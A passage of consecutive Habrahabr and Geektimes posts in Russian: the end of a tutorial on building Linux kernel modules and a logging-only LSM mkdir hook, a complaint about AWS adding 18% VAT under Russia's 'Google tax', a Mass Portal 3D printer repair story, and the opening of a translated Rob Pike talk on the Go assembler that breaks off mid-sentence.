указывает, что мы запускаем сборку в окружении # KERNEL_PATH. Это нужно для того, чтобы компилятор подтянул зависимости # из исходников ядра # SUBDIRS - это место, в котором будут лежать результаты сборки, # в данном случае - текущая папка make -C $(KERNEL_PATH) SUBDIRS=$(PWD) modules # Удаление ненужных файлов, которые создались в процессе сборки make clean # описание файлов, которые можно удалить после сборки clean: rm -f *.o *.mod* Module.symvers modules.order После создания Makefile переходим непосредственно к сборке: make Через пару секунд в нашей папке появится файл hello.ko — готовый скомпилированный модуль. Загрузка и выгрузка Существует 2 способа загрузки модуля в ядро: Сборка модуля вместе с ядром. В таком случае загрузка модуля происходит как часть запуска системы, а сам модуль становится частью кода ядра. Динамическая загрузка в уже запущенной системе. Вышеописанный способ создания модуля предполагает именно такой способ загрузки. В этом случае загрузка модуля больше похожа на запуск обычной пользовательской программы. Загрузить модуль: sudo insmod hello.ko Команда insmod загружает модуль в пространство ядра, тем самым вызывая функцию инициализации. После этого модуль попадает в список загруженных. Проверить это можно командой lsmod : В функции инициализации мы добавили вызов printk , который выводит в системный лог наше сообщение. Для просмотра системного лога существует утилита dmesg : dmesg | grep '<my_tag>' Вышеуказанная команда выведет <my_tag> hello world После того, как мы загрузили модуль, он так и останется висеть в ядре до тех пор, пока его не выгрузят. Чтобы сделать это: sudo rmmod hello.ko Эта команда вызовет обработчик события __exit, но поскольку у нас там пустая функция, кроме выгрузки модуля из ядра ничего не произойдёт. Лайфхак Для того, чтобы каждый раз не вводить 2 команды для загрузки и выгрузки модуля во время отладки, в функции инициализации возвращают значение -1. Такой модуль при попытке загрузки выводит в терминал ошибку, после чего прекращает работу, но при этом функция инициализации отрабатывает полностью и корректно, превращаясь, по сути, в аналог функции main() пользовательских программ. static int __init myinit(void) { printk("%s\n","<my_tag> hello world"); return -1; } Далее мы рассмотрим первый способ загрузки модуля, а также то, ради чего изначально писалась эта статья. Перехват системных вызовов Небезопасный способ Когда-то давно, ещё до ядра версии 2.6, для того, чтобы перехватить системный вызов, писали функцию-хук, которая её заменяла: выполняла другой код + вызывала непосредственно сам syscall(чтобы не нарушить работоспособность системы). Так как каждый системный вызов подобно функции имеет свой адрес, а в Linux есть специальная таблица где эти адреса хранятся, задача сводилась к тому, чтобы в этой самой таблице заменить адрес системного вызова на адрес нашей функции. Позже, разработчики Linux пытались устранить возможность такого способа, но до сих пор существуют хаки, которые позволяют реализовать этот метод. Тем не менее, он очень небезопасный, и я не буду его описывать. Тем более, что для решения задачи в то же время придумали более изящное и безопасное решение. LSM LSM — это фреймворк для разработки модулей безопасности ядра. Он был создан для того, чтобы расширить стандартную модель безопасности DAC , сделать её более гибкой. Этот фреймворк использует известный модуль безопасности SELinux, а также ещё несколько других, встроенных в ядро. Самое ценное для нас в данном фреймворке то, что он реализован через набор заранее предустановленных в ядро хуков (по сути, тот способ, который я описывал выше, но безопасный, потому что ядро заранее рассчитано на наличие таких хуков). LSM позволяет вставлять в код своих хуков вызов пользовательских , что позволяет безопасно работать с системными вызовами без изменения таблицы символов. Всё предельно просто. Рассмотрим пример создания модуля безопасности foobar , который перехватывает системный вызов mk_dir . Написание кода Находим в исходниках ядра папку security , создаём в ней папку для нашего модуля, а в ней — его исходный код foobar.c: // /security/foobar/foobar.c //---INCLUDES #include <linux/module.h> #include <linux/lsm_hooks.h> //---HOOKS //mkdir hook static int foobar_inode_mkdir(struct inode *dir, struct dentry *dentry, umode_t mask) { printk("%s\n","<my_tag> mkdir hook"); return 0; } //---HOOKS REGISTERING static struct security_hook_list foobar_hooks[] = { LSM_HOOK_INIT(inode_mkdir, foobar_inode_mkdir), }; //---INIT void __init foobar_add_hooks(void) { security_add_hooks(foobar_hooks, ARRAY_SIZE(foobar_hooks)); } Файл lsm_hooks.h содержит заголовки тех самых предустановленных хуков, LSM_HOOK_INIT регистрирует соответствие foobar_inode_mkdir() хуку inode_mkdir(), а security_add_hooks() добавляет нашу функцию в общий список пользовательских хуков LSM. Таким образом, при каждом вызове mkdir будет вызываться наша функция foobar_inode_mkdir() . Добавляем заголовок нашей функции в файл “/include/linux/lsm_hooks.h”: #ifdef CONFIG_SECURITY_FOOBAR extern void __init foobar_add_hooks(void); #else static inline void __init foobar_add_hooks(void) { } #endif Все вызовы происходят в исходном файле security.c (далее), этим шагом мы оповещаем его о существовании нашей функции. В файле “/security/security.c” находим функцию “int __init security_init(void)” и добавляем в её тело следующий вызов: foobar_add_hooks(); Всё, зависимости в коде настроены корректно. Осталось только оповестить конфигурационные файлы ядра о том, что мы хотим собрать его вместе с нашим модулем. Конфигурация сборки В папке с нашим модулем(/security/foobar/) создадим файл Kconfig: config SECURITY_FOOBAR bool "FooBar security module" default y help Any help text here Это создаст пункт меню с нашим модулем. Откроем файл /security/Kconfig и добавим следующий текст сразу за строчкой “menu «Security options»": source security/foobar/Kconfig Это добавит наш пункт меню в глобальное меню настроек ядра. Создадим Makefile в папке с нашим модулем: obj-$(CONFIG_SECURITY_FOOBAR) += foobar.o Откроем Makefile всего раздела безопасности(/security/Makefile) и добавим в него следующие строчки(по аналогии с такими же строчками для других модулей): subdir-$(CONFIG_SECURITY_FOOBAR) += foobar obj-$(CONFIG_SECURITY_FOOBAR) += foobar/ Запустим конфигурирование в псевдографическом режиме: make menuconfig Если перейти в подменю “Security options”, первым пунктом мы увидим наш модуль, отмеченный символом “y” (мы установили это значение по умолчанию, когда создавали файл Kconfig), что означает, что мы интегрируем наш модуль непосредственно в код ядра. Сборка На этом этапе проводим самую обыкновенную сборку ядра, как это было описано в начале статьи. Но поскольку мы уже предварительно собрали чистое ядро, процесс немного упростился: make && make modules make не требует параметра -j, поскольку пересоберёт ядро с нашим модулем за несколько секунд. sudo make install Установка заголовков и модулей не требуется, это было произведено ранее. Всё! Осталось перезагрузить систему, после чего в ядре будет висеть наш модуль с перехватом mkdir. Как и говорил ранее, проверяем так: dmesg | grep '<my_tag>' Учтите, что в системе, скрываясь от ваших глаз, происходит очень много процессов, так что не удивляйтесь, когда увидите там много перехватов. Надеюсь, кому-то это руководство будет полезным(если бы кто-то написал его вместо меня до того, как я начал копаться в ядре — он сэкономил бы мне 2-3 недели жизни). Любая критика приветствуется. Спасибо за внимание.
https://habrahabr.ru/post/318106/
habrahabr
Налог на Google не повысит цену на цифровой контент — говорили они
['Налог на Google']
Вечерком 20 декабря получил примечательное, и в чем-то даже эпическое письмо от Amazon Web Services, цитирую: Вас приветствует Amazon Web Services, Сообщаем Вам, что с 1 января 2017 года...
Вечерком 20 декабря получил примечательное, и в чем-то даже эпическое письмо от Amazon Web Services, цитирую: Вас приветствует Amazon Web Services, Сообщаем Вам, что с 1 января 2017 года вступает в силу новый порядок обложения НДС услуг в электронной форме, в соответствии с которым у компаний Amazon Web Services, Inc. («AWS») и AWS Marketplace возникнет обязанность по начислению НДС по ставке 18% в отношении услуг, оказываемых российским клиентам, не зарегистрированным в качестве юридических лиц или индивидуальных предпринимателей, то есть не имеющим соответствующий основной государственный регистрационный номер («ОГРН») или основной государственный регистрационный номер индивидуального предпринимателя («ОГРНИП»). … Если Вы не предоставите информацию о Вашем ОГРН или ОГРНИП до 31 декабря 2016 года, AWS будет вынуждена начислять НДС по ставке 18% в отношении соответствующих услуг. … Вы можете найти дополнительную информацию в отношении нового порядка обложения НДС услуг в электронной форме на сайте Федеральной налоговой службы Российской Федерации: lkio.gnivc.ru/en (английская версия) или lkio.gnivc.ru/ru (русская версия). Очень интересны ссылочки в конце письма, на анкету для компаний, чья деятельность облагается НДС (для Google, Amazon и прочих с ними). Даже на английском языке есть. Я вот себе даже представил, как они там сидят у себя в Нидерландах и читают, на вопросы анкеты отвечают. И если я всё правильно понял, то ребята просто накинут 18% сверху своей цены для физических лиц. Но как же так? Ведь нам говорили, что новый налог не повлияет на цены контента. Мол гиганты ИТ-индустрии настолько гиганты, что 18% прибыли для них пустяк. Вот пара цитат: В то же время высокая конкуренция в регулируемой сфере не позволит компаниям полностью «переложить НДС на потребителя», уверен директор РАЭК. «Многие поставщики решений, контента являются планово-убыточными компаниями, это некие инвестиционные проекты, например, онлайн- кинотеатры. Для них речи не идет о прибыли, для них речь идет о том, чтобы не потерять долю рынка, и в результате они будут вынуждены держать цены», — рассказал Плуготаренко ссылка или вот Закон, одобренный Советом Федерации и известный как «налог на Google», призван создать равные условия для российских и иностранных компаний в интернете. Но есть опасения, что российским компаниям, как и зарубежным, придется адаптироваться к новым условиям. При этом рыночные механизмы не должны допустить роста цен на цифровой контент, заявил директор Ассоциации электронных коммуникаций Сергей Плуготаренко ссылка Лично мне грустно от того, что мои любимые сервисы вдруг станут дороже на существенные 18%, и я не говорю только об Amazon. Это и Apple Music, AppStore, Google Play, Yandex.Music и прочие удобные и, так уже полюбившиеся многим, сервисы. Конкуренцию это повысит не на много, а вот локоток фискальных органов в моем кошельке станет еще глубже. Может на GT есть специалисты по налогам и антимонопольному законодательству? Может кто сможет написать и подтвердить, что налог на Google к конкуренции и защите импортозамещения не имеет никакого отношения? UPD. Очень дельный комментарий от sachok раскрывает суть налога и механизм его применения.
https://geektimes.ru/post/283894/
habrahabr
Фараон 3D-принтеров — Mass Portal Pharao
['3d-принтер', '3d принтеры', '3d-принтеры', '3d-печать', '3d печать']
3D-принтер Mass Portal Pharao — отличия разных модификаций и наш опыт его ремонта. Кто же он — фараон? Из тьмы веков Еще со времен Союза мы все помним качественную прибалтийскую...
3D-принтер Mass Portal Pharao — отличия разных модификаций и наш опыт его ремонта. Кто же он — фараон? Из тьмы веков Еще со времен Союза мы все помним качественную прибалтийскую электронику — транзисторные приемники, портативные телевизоры и другие технологичные товары, считавшиеся лучшими в стране. Те времена прошли, заводы погибли, слава померкла и, казалось бы — всё плохо в краю вкуснейших шпрот. Так было еще лет пять назад, но кое-что изменилось. Mass Portal — частная компания разрабатывающая, производящая и продающая настольные 3D-принтеры, основанная в апреле 2012 года и находящаяся в Риге, Латвия. Компания взяла за пример лучшие образцы существующих 3D-принтеров и, усовершенствовав их характеристики, разработала собственные аппараты. Восхождение фараона В апреле 2014 Mass Portal представила второе поколение своего главного продукта — настольные 3D-принтеры основанные на технологии дельта-ботов — серию Mass Portal Pharaoh. 3D-принтеры Mass Portal быстрее, тише и меньше подвержены вибрации, чем традиционные 3D-принтеры. Выполненные в лаконичном индустриальном дизайне и с заботой о безопасности, эти машины в наибольшей степени подходят для использования в образовательных учреждениях и офисах. По данным нескольких производителей независимых материалов (не предназначенных для принтеров какой-то определенной марки), по состоянию на середину 2015 года Pharaoh входил в число обеспечивающих наиболее качественную 3D-печать. Правление фараона Качество 3D-принтеров Mass Portal, — как качество их сборки, обеспечивающее надежность и бесперебойность, так и качество и точность работы, дающее лучший результат при печати, — позволило им распространиться по нескольким континентам и привлечь к себе заслуженное внимание. Можно найти обзоры, посвященные этому принтеру, сделанные на разных языках в разных точках мира. Конструкция получилась настолько удачной, что стандартные стресс-тесты используются просто для того, чтоб посмотреть на забавный танец экструдера. С обычными принтерами на линейных приводах такой трюк не пройдет. На сей момент Фараон существует в шести воплощениях: модификации конструкции отличаются размером области печати, количеством инжекторов в рабочей голове и еще несколькими деталями. Главное отличие серии ED, состоящей из трех модификаций: ED 20 , ED 30 и ED 40 — повышенное внимание к разрешению печати. Особенность серии XD, которую представляют XD 20 , XD 30 и XD 40 — возможность печатать несколькими материалами одновременно. Подробнее о них всех — в таблице ниже. В таблице есть ещё и цены, но они ориентировочные — цена на любой 3D-принтер может как вырасти, так и снизиться, точную лучше узнавать на сайте. Качество печати и сложность доступных форм расписывать особо нет необходимости, смотрите: Особенность дельта-ботов, по сравнению с линейными конструкциями — большие простота и надежность, безопасность и легкость ремонта, да и внешне они выглядят, зачастую, намного симпатичнее. Болезнь и излечение Нет ничего вечного под этим небом, даже лучшие имеют свой предел и однажды к нам принесли страдающего от тяжких недугов фараона — Mass Portal Pharaoh XD 30 поступил в тяжелом состоянии. Консилиум наших сервис-инженеров изучил больного и приступил к лечению. Больному были заменены изношенные нелегкой жизнью органы: втулка подачи пластика, промежуточное кольцо, стеклянная поверхность печатного стола, боковые стёкла и дверца. После хирургических операций пошли более тонкие: конечно, столь тяжелому пациенту надо было произвести точную калибровку положения печатной головы, что и было сделано. Уже на финишной прямой выяснилось, что, хоть электроника аппарата и цела, но содержимое “мозгов” не обновлялось с момента покупки. Инженеры связались с сотрудниками Mass Portal и коллегиально обновили сначала прошивку, а потом и рабочее программное обеспечение, до самой последней версии. Естественным продолжением стала корректировка настроек ПО до оптимальных и последующие тестовые испытания. После отладки были проведены пробные распечатки различными типами пластиков через сопла разного диаметра, а также опытным путем установлены оптимальные настройки для печати как одним пластиком, так и двумя, и тремя — разумеется, разные. Даже изрядно потрепанный и изношенный, Mass Portal Pharaoh выказал похвальную волю к жизни и завидную ремонтопригодность. Его ремонт не вызвал особых трудностей, а качество печати после произведенных процедур пришло в соответствие с нормативным. Кратко резюмируя: Что можно сказать о Mass Portal Pharaoh XD 30 и его родственниках? Наш “пациент” показал прочность и добротность конструкции, что значительно упростило и удешевило ремонт. Если его собратья в этом от него не отличаются, а у них нет никаких причин отличаться, то любого из них мы можем порекомендовать к приобретению и эксплуатации. Резвые и надежные ребята. Хотите больше интересных новостей из мира 3D-технологий? Подписывайтесь на нас в соц. сетях:
https://geektimes.ru/company/top3dshop/blog/283890/
habrahabr
Архитектура ассемблера Go
['go', 'ассемблер', 'gophercon', 'asm', 'c', 'compiler']
Привет, Хабр! Меня зовут Марко Кевац, я системный программист Badoo в команде «Платформа», и я очень люблю Go. Если сложить эти две вещи, то вы поймёте, насколько я люблю ассемблер в Go....
Привет, Хабр! Меня зовут Марко Кевац, я системный программист Badoo в команде « Платформа », и я очень люблю Go. Если сложить эти две вещи, то вы поймёте, насколько я люблю ассемблер в Go. Совсем недавно мы рассказывали на Хабре о том, на каких конференциях побывали. Одной из них была GopherCon 2016 , где практически всем запомнился доклад Роба «Командира» Пайка про Go-шный ассемблер. Представляю вам перевод его доклада, оформленный в виде статьи. Я постарался дать в тексте как можно больше ссылок на релевантные статьи в «Википедии». Ассемблер? Это что-то древнее, как мамонт! Роб Пайк выступает на GopherCon 2016 Спасибо! Это самая воодушевлённая реакция на доклад о языке ассемблера за многие годы. Вы можете спросить: зачем нам вообще говорить об ассемблере? Причина есть, но о ней позже. Также вы можете спросить, какой интерес может представлять язык ассемблера. Давайте вернёмся в 1970 год и заглянем в руководство IBM: «Важнее всего понять следующую особенность языка ассемблера: он позволяет программисту использовать все функции компьютера System/360 , как если бы он программировал на уровне машинных кодов System/360». Во многих отношениях эти слова устарели, но основная идея по-прежнему верна: ассемблер – это способ взаимодействия с компьютером на самом базовом уровне. На самом деле, язык ассемблера необходим даже сегодня. Было время, когда в распоряжении программиста был только ассемблер. Потом появились так называемые языки высокого уровня, например, Фортран и Кобол , которые медленно, но верно вытесняли ассемблер. Какое-то время даже язык С по сравнению с ассемблером считался высокоуровневым. Но потребность в ассемблере сохраняется и сегодня — из-за того уровня доступа к компьютеру, который он предоставляет. Ассемблер необходим для начальной загрузки среды, для работы стеков , для переключения контекста . В Go, кстати, переключение между горутинами тоже реализовано на ассемблере. Есть ещё вопрос производительности: иногда можно вручную написать код, который работает эффективнее, чем результат работы компилятора. Например, существенная часть пакета math/big стандартной библиотеки Go написана на ассемблере, потому что базовые процедуры этой библиотеки гораздо более эффективны, если вы обходите компилятор и реализуете что-то лучше, чем сделал бы он. Иногда ассемблер нужен для работы с новыми и необычными функциями устройств или с возможностями, недоступными для более высокоуровневых языков — например, новыми криптографическими инструкциями современных процессоров. Но для меня самое важное в языке ассемблера заключается в том, что его терминами многие люди мыслят о компьютере. Язык ассемблера даёт представление о наборах инструкций, принципах работы компьютера. Даже если вы не программируете на ассемблере — и я надеюсь, что здесь таких нет, — вам стоит иметь представление об ассемблере, просто чтобы понимать, как работает компьютер. Однако я не буду уделять слишком много внимания самому языку ассемблера, и это соответствует идее моего доклада. Много разных и хороших ассемблеров Многие из вас не очень хорошо знакомы с языком ассемблера. Поэтому я приведу ряд примеров, стараясь придерживаться хронологического порядка. IBM System/360 1        PRINT NOGEN 2 STOCK1 START 0 3 BEGIN  BALR  11,0 4        USING *,11 5        MVC   NEWOH,OLDOH 6        AP    NEWOH,RECPT 7        AP    NEWOH,ISSUE 8        EOJ 11 OLDOH DC    PL4'9' 12 RECPT DC    PL4'4' 13 ISSUE DC    PL4'6' 14 NEWOH DS    PL4 15       END   BEGIN Это ассемблер IBM System/360. Именно про этот компьютер была цитата в начале. Не обращайте внимания на смысл, просто взгляните. А это – чтобы показать общую картину . Apollo 11 Guidance Computer # TO ENTER A JOB REQUEST REQUIRING NO VAC AREA:          COUNT     02/EXEC                 NOVAC     INHINT          AD        FAKEPRET     # LOC(MPAC +6) - LOC(QPRET)          TS        NEWPRIO      # PRIORITY OF NEW JOB + NOVAC C(FIXLOC)          EXTEND          INDEX     Q            # Q WILL BE UNDISTURBED THROUGHOUT.          DCA       0            # 2CADR OF JOB ENTERED.          DXCH      NEWLOC          CAF       EXECBANK          XCH       FBANK          TS        EXECTEM1          TCF       NOVAC2       # ENTER EXECUTIVE BANK. Это – ассемблерный код для бортового управляющего компьютера корабля «Аполлон-11». Все его программы были написаны полностью на ассемблере. Ассемблер помог нам добраться до Луны. PDP-10 TITLE   COUNT A=1                             ;Define a name for an accumulator. START:  MOVSI A,-100            ;initialize loop counter.                                ;A contains -100,,0 LOOP:   HRRZM A,TABLE(A)        ;Use right half of A to index.        AOBJN A,LOOP            ;Add 1 to both halves (-77,,1 -76,,2 etc.)                                ;Jump if still negative.        .VALUE                  ;Halt program. TABLE:  BLOCK 100               ;Assemble space to fill up. END START                       ;End the assembly. Это ассемблер для PDP-10, и он весьма подробно прокомментирован, если сравнивать с другими примерами. PDP-11 / a3 -- pdp-11 assembler pass 1 assem:        jsr     pc,readop        jsr     pc,checkeos        br      ealoop        tst     ifflg        beq     3f        cmp     r4,$200        blos    assem        cmpb    (r4),$21   /if        bne     2f        inc     ifflg 2:        cmpb    (r4),$22   /endif        bne     assem        dec     ifflg        br      assem Это фрагмент для PDP-11. Более того, это кусок кода для ассемблера в Unix v6 — который, разумеется, написан на ассемблере. Язык С стал использоваться позже. Motorola 68000 strtolower      public                link    a6,#0           ;Set up stack frame                movea   8(a6),a0        ;A0 = src, from stack                movea   12(a6),a1       ;A1 = dst, from stack loop            move.b  (a0)+,d0        ;Load D0 from (src)                cmpi    #'A',d0         ;If D0 < 'A',                blo     copy            ;skip                cmpi    #'Z',d0         ;If D0 > 'Z',                bhi     copy            ;skip                addi    #'a'-'A',d0     ;D0 = lowercase(D0) copy            move.b  d0,(a1)+        ;Store D0 to (dst)                bne     loop            ;Repeat while D0 <> NUL                unlk    a6              ;Restore stack frame                rts                     ;Return                end Cray-1 ident slice         V6        0               ; initialize S         A4        S0              ; initialize *x         A5        S1              ; initialize *y         A3        S2              ; initialize i loop     S0        A3         JSZ       exit            ; if S0 == 0 goto exit         VL        A3              ; set vector length         V11       ,A4,1           ; load slice of x[i], stride 1         V12       ,A5,1           ; load slice of y[i], stride 1         V13       V11 *F V12      ; slice of x[i] * y[i]         V6        V6 +F V13       ; partial sum         A14       VL              ; get vector length of this iteration         A4        A4 + A14        ; *x = *x + VL         A5        A5 + A14        ; *y = *y + VL         A3        A3 - A14        ; i = i - VL         J        loop exit Это ассемблер для Motorola 68000, а это — для Cray-1. Этот пример мне нравится, он из диссертации Роберта Грисемеера ( Robert Griesemer ). Напоминает о том, как всё начиналось. Роберт Грисемеер выступает на GopherCon 2015 Вы можете заметить, что всё это разные языки, но в чём-то они похожи: у них есть общая, очень чёткая, структура. Инструкции subroutine header label:    instruction operand...    ; comment    ... Операнды register literal constant address register indirection (register as address) ... Программы на ассемблере обычно записываются в столбик: слева – метки, потом инструкции, операнды и, наконец, справа – комментарии. В роли операндов обычно выступают регистры, константы или адреса памяти, но синтаксически для разных архитектур они довольно похожи. Есть и исключения. Пример Cray выделяется на общем фоне: команда сложения записывается в виде символа +, как в арифметическом выражении. Но смысл везде один и тот же: вот это команда сложения, а это – регистры. То есть всё это в действительности одно и то же. Другими словами, даже давным-давно, даже в мои времена, процессоры были примерно такими же, как сейчас. Есть контрпримеры, но большая часть процессоров (и уж точно все процессоры, на которых работает Go), по сути, остались прежними, если не обращать внимания на детали. Если не углубляться в подробности, то можно прийти к интересному выводу: для всех этих компьютеров можно составить общую грамматику. Для понимания этого факта потребовалось около 30 лет. Гениальная идея Кена Слева направо: Роберт Грисемеер, Роб Пайк, Кен Томпсон Примерно в середине 1980-х годов Кен Томпсон ( Ken Thompson ) и я начали думать над разработкой, которая потом превратилась в Plan 9 . Кен написал новый компилятор С, который лёг в основу компилятора С в инструментах Go и использовался до недавнего времени. Это было на компьютере с симметричной многопроцессорной архитектурой компании Sequent, в котором использовались процессоры National 32000 . По-моему, это был первый 32-разрядный микропроцессор, доступный в широкой продаже в виде интегральной микросхемы. Но Кен сделал одну интересную штуку — её некоторые тогда не поняли, но потом она оказалась очень важной. Это вообще характерная особенность Кена. Компилятор не генерировал машинные инструкции — он выдавал нечто вроде псевдокода. А потом вторая программа (по сути, линкер ) принимала результат работы компилятора и преобразовывала эти псевдоинструкции в настоящие инструкции. Инструкция наподобие MOVW    $0, var могла стать просто XORW    R1, R1 STORE   R1, var Приведу абстрактный пример. Есть, например, инструкция MOVW, которая помещает ноль в переменную. Выданный линкером код, который будет выполняться на компьютере, может состоять, например, из инструкций XORW, для которой в качестве обоих операндов указан один и тот же регистр (то есть она обнуляет значение регистра), и STORE, которая помещает значение этого регистра в переменную. Не беспокойтесь насчёт деталей: суть здесь в том, что инструкции, которые выполняет компьютер, могут не совсем соответствовать тому, что мы вводим в ассемблер. Этот процесс составления реальных инструкций на основе псевдоинструкций мы называем выбором инструкций. Отличный пример псевдоинструкции — инструкция возвращения из функции, которую Кен назвал RET. Она так и называется уже 30 лет, но её реализация зависит от того, на каком компьютере она выполняется. В руководствах к некоторым компьютерам её так и называют RET, но в других это может быть переход по адресу, который содержится в регистре, или перенаправление на адрес в специальном регистре, или что-нибудь совсем другое. Поэтому ассемблер можно считать способом записи псевдоинструкций, которые генерирует компилятор. В мире Plan 9, в отличие от большей части других архитектур, компилятор не запускает ассемблер – данные передаются непосредственно в линкер. В результате процесс выглядит приблизительно так. Верхняя строчка примерно соответствует традиционным архитектурам. По-моему, GCC и сегодня работает так же. Это компилятор, он принимает высокоуровневый код и преобразует его в код на языке ассемблера. Ассемблер генерирует реальные инструкции, а линкер связывает отдельные части, создавая бинарник. Две нижние строки показывают, как обстоит дело в Plan 9. Здесь ассемблер, по сути, разделили пополам: одна половина осталась в компиляторе, а вторая – стала частью линкера. Стрелки, пересекающие красную черту, — это потоки псевдоинструкций в двоичном представлении. Ассемблер в Plan 9 служит одной цели: он предоставляет вам возможность записывать в текстовом виде инструкции, преобразующиеся в псевдоинструкции, которые обрабатывает линкер. Ассемблер Go Такая ситуация сохранялась много поколений. И ассемблеры Plan 9 ей соответствовали: это были отдельные программы на С с грамматикой Yacc , своей для каждой архитектуры. Они образовывали своеобразный набор или пакет, но это были отдельные, независимо написанные, программы. У них был общий код, но не совсем… В общем, всё было сложно. А потом начал появляться Go… когда это было… в 2007 году мы начали… в эту кучу программ со смешными именами добавились ещё компиляторы Go — 8g и 6g. И в них использовалась та же модель. Они соответствуют средней строчке на диаграмме. И то, как было реализовано это разделение, давало множество преимуществ для внутреннего устройства Go, но сегодня я не успею подробно об этом рассказать. Расс Кокс выступает на GopherCon 2015 В Go 1.3 мы захотели избавиться от всего кода на С и реализовать всё исключительно на Go. Это потребовало бы времени. Но в выпуске Go 1.3 мы запустили этот процесс. Началось всё с того, что Расс ( Russ Cox ) взял большой кусок линкера и отделил его. Так появилась библиотека liblink, и большую её часть занимал так называемый алгоритм выбора инструкций. Сейчас эта библиотека называется obj , но тогда она называлась liblink. Компилятор использовал эту библиотеку liblink, чтобы преобразовывать псевдоинструкции в настоящие инструкции. В пользу такого решения было несколько аргументов. Самый важный из них — ускорение процесса сборки. Даже несмотря на то, что компилятор теперь проделывает больше работы — сейчас он выбирает инструкции, тогда как раньше этим занимался линкер. Благодаря такому устройству, он проделывает это только один раз для каждой библиотеки. Раньше, если вам нужно было скомпоновать пакет fmt, например, выбор инструкций для Printf выполнялся бы каждый раз заново. Очевидно, это глупо. Теперь мы делаем это один раз, и компоновщику не приходится этим заниматься. В результате компилятор работает медленнее, но сборка в целом ускоряется. Ассемблер может быть устроен так же и может использовать библиотеку obj. Самая важная особенность этого этапа была в том, что для пользователя ничего не изменилось: входной язык остался прежним, вывод остался прежним, это всё тот же двоичный файл, только детали другие. Вот общая схема старой архитектуры, я её уже показывал: компилятор, ассемблер, линкер. В мире Plan 9 линкером управляет компилятор или ассемблер. Старая архитектура: Новая архитектура: В версии 1.3 мы перешли на вот такое устройство. Как видите, теперь у нас получился намного более традиционный линкер: он получает реальные инструкции, потому что библиотека obj, которая выполняет выбор инструкций, перестала быть частью компоновщика и стала последним этапом компилятора и ассемблера. То есть теперь ассемблер и компилятор больше соответствуют старой схеме, если включить ассемблер в процесс. Этот новый ассемблер Go — странная штука. Ничего похожего просто не существует. Что он делает? Он преобразует текстовые описания псевдоинструкций в реальные инструкции для линкера. В 1.5 мы сделали большой шаг — избавились от С. Для этого мы проделали большую подготовительную работу в 1.3 и 1.4, и теперь эта задача, наконец, решена. Расс написал транслятор, который преобразовывал старые исходники компиляторов Go (и, кстати, линкеров), написанные на С, в программы на Go. Старая библиотека liblink была встроена в набор библиотек, который в совокупности мы здесь называем obj. В результате есть штука, которая называется obj, это портируемая часть, и подкаталоги с машиннозависимыми частями, которые хранят сведения об особенностях каждой архитектуры. Этой работе посвящено несколько докладов: это сама по себе интересная история. Два года назад Расс выступил на GopherCon с докладом, но он уже довольно устарел. В действительности мы поступили совсем не так, как он тогда рассказал. А потом на GopherFest 2015 я представил более общий, но более точный обзор изменений в версии 1.5. GOOS=darwin GOARCH=arm go tool compile prog.go Так вот. Раньше компиляторы назывались 6g, 8g и другими странными именами. Теперь это одна программа под названием compile. Вы запускаете инструмент compile и настраиваете его, устанавливая значения стандартных переменных среды GOOS (произносится «goose», как «гусь») и GOARCH (произносится «gorch», как «пьяный похотливый парень в баре») — именно так их названия произносятся официально. Для линкера мы сделали то же самое. Есть инструмент link, вы устанавливаете значения GOOS и GOARCH – и можете компилировать свою программу. Вы можете задаться вопросом: «Как один компилятор может поддерживать все эти архитектуры? Мы-то знаем, что кроссплатформенная компиляция — это очень, очень сложно». На самом деле, нет. Вам просто нужно заранее всё подготовить. Обратите внимание вот на что: здесь есть только один входной язык — Go. С точки зрения компилятора результат работы тоже один — псевдоинструкции в двоичной форме, которые передаются в библиотеку obj. То есть нам нужно только настроить библиотеку obj, задав значения переменных на момент запуска инструмента. Скоро вы узнаете, как это делается. Что касается ассемблера, мы выполняли машинное транслирование ассемблеров с языка С на Go, но это не идеальное решение, мне оно не нравилось. Я предложил написать на Go с нуля единственную программу, которая бы заменила их все, — asm. Настройка опять же выполнялась бы исключительно через GOOS и GOARCH. Вы можете заметить, что язык ассемблера и Go — не одно и то же. У каждого процессора есть свой набор инструкций, свой набор регистров, это не единый язык вывода. Что с этим делать? Но на самом деле, они, по сути, одинаковы. Смотрите. package add func add(a, b int) int {    return a + b } Вот пример простой программы, которая складывает два целых числа и возвращает сумму. Я не буду показывать псевдоинструкции, которые выдаёт компилятор, если вы воспользуетесь флагом -S, чтобы просмотреть код на ассемблере. Ещё я убрал немало лишнего — если вы воспользуетесь этим способом, вы тоже увидите много ненужного, но на этом этапе компилятор выдаёт именно такие псевдоинструкции. 32-bit x86 (386) TEXT add(SB), $0-12    MOVL    a+4(FP), BX    ADDL    b+8(FP), BX    MOVL    BX, 12(FP)    RET 64-bit x86 (amd64) TEXT add(SB), $0-24    MOVQ    b+16(FP), AX    MOVQ    a+8(FP), CX    ADDQ    CX, AX    MOVQ    AX, 24(FP)    RET 32-bit arm TEXT add(SB), $-4-12    MOVW    a(FP), R0    MOVW    b+4(FP), R1    ADD     R1, R0    MOVW    R0, 8(FP)    RET 64-bit arm (arm64) TEXT add(SB), $-8-24    MOVD    a(FP), R0    MOVD    b+8(FP), R1    ADD     R1, R0    MOVD    R0, 16(FP)    RET S390 (s390x) TEXT add(SB), $0-24    MOVD    a(FP), R1    MOVD    b+8(FP), R2    ADD     R2, R1, R1    MOVD    R1, 16(FP)    RET Вот вариант для 32-разрядной архитектуры. Не задумывайтесь о деталях – просто взгляните на картину в целом . Вот результат для 64-разрядной архитектуры x86, её ещё называют AMD64 , вот – для 32-разрядной архитектуры ARM , для 64-разрядной архитектуры ARM, а вот – для архитектуры IBM System/390; для нас они новые, но для всех остальных явно нет. 64-bit MIPS (mips64) TEXT add(SB), $-8-24    MOVV    a(FP), R1    MOVV    b+8(FP), R2    ADDVU   R2, R1    MOVV    R1, 16(FP)    RET 64-bit Power (ppc64le) TEXT add(SB), $0-24    MOVD    a(FP), R2    MOVD    b+8(FP), R3    ADD     R3, R2    MOVD    R2, 16(FP)    RET Вот код для 64-разрядной архитектуры MIPS , вот – для 64-разрядной архитектуры POWER . Вы можете заметить, что они похожи. Причина в том, что они, по сути, являются одним и тем же языком. Отчасти потому, что они так устроены: по сути дела, мы 30 лет использовали ассемблер National 32000, меняя только лишь железо, на котором он использовался. Но ещё и потому, что некоторые из них действительно идентичны. Это просто инструкции, регистры, операнды, константные значения, метки — всё одно и то же. Единственное важное отличие заключается в том, что у инструкций и регистров разные имена. Ещё иногда отличаются смещения, но это зависит от размера машинного слова. Всё это сводится к ассемблеру National 32000, который написал Кен. Это язык ассемблера National 32000, каким его себе представляет Кен, адаптированный для современного PowerPC. Таким образом, у нас есть всё необходимое — общий язык ввода, библиотека 